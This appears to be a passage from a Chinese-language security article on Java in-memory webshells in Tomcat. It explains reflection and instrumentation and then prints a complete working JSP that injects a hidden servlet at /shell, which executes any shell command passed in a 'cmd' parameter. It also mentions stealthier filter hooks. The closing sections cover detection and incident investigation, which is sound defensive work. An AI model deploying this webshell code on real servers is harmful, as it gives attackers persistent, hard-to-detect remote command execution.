java背景知识
实现方式:https://tttang.com/archive/1390/ 可参考
2.3.1 java反射
反射提供的功能,能在运行时(动态)的
1.获取一个类的所有成员变量和方法
2.创建一个类的对象
a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类
在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。
在使用Java反射机制时,主要步骤包括:
①获取 目标类型的Class对象
②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
2.3.2 java instrumentation
Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
三、内存马实现
这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell","jweny");
%>
执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。
四、内存马检测与排查
4.1源码检测
在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
①新增的或修改的;
②没有对应class文件的
③xml配置中没注册的
④冰蝎等常见工具使用的
⑤filterchain中排第一的filter类
还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。
另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马
4.2 内存马排查
如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。
如果是jsp注入,日志中排查可疑jsp的访问请求。
如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200